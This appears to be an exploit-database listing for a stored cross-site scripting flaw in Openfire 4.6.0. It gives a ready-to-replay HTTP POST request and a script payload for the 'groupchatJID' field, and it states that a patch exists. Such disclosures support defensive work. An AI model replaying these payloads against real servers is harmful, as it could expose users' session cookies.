header-logo
Suggest Exploit
vendor:
Openfire
by:
j5s
8.8
CVSS
HIGH
Stored XSS
79
CWE
Product Name: Openfire
Affected Version From: 4.6.0
Affected Version To: 4.6.0
Patch Exists: YES
Related CWE: N/A
CPE: a:igniterealtime:openfire
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows, Linux, Mac
2020

Openfire 4.6.0 – ‘groupchatJID’ Stored XSS

A stored cross-site scripting (XSS) vulnerability exists in Openfire 4.6.0. An attacker can send a malicious payload to the vulnerable parameter 'groupchatJID' in the 'create-bookmark.jsp' page, which will be stored in the database and executed when the page is loaded. The payload used in this exploit is '><ScRiPt>alert(document.cookie)</ScRiPt>', which will display the user's cookie information in an alert box.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of Openfire.
Source

Exploit-DB raw data:

# Exploit Title: Openfire 4.6.0 - 'groupchatJID' Stored XSS
# Date: 2020/12/11
# Exploit Author: j5s
# Vendor Homepage: https://github.com/igniterealtime/Openfire
# Software Link: https://www.igniterealtime.org/downloads/
# Version: 4.6.0

POST /plugins/bookmarks/create-bookmark.jsp HTTP/1.1
Host: 192.168.137.137:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101
Firefox/68.0
Content-Length: 144
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=node087pcmtxo1yry1fzb5tlt5bz4c19.node0;
csrf=j0MLh55rjr1bMx0; DWRSESSIONID=oWZp3ax5c9EpPgMNZv4T4BASYrwhhv3K8pn
Origin: http://192.168.137.137:9090
Referer:
http://192.168.137.137:9090/plugins/bookmarks/create-bookmark.jsp?type=group_chat
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

createGroupchatBookmark=%E5%BB%BA%E7%AB%8B&groupchatJID=%22%3E%3CsCrIpT%3Evkhewwrqrb%3C%2FsCrIpT%3E&groupchatName=&groups=&type=groupchat&users=


Vulnerable parameters:groupchatJID

payload:"><ScRiPt>alert(document.cookie)</ScRiPt>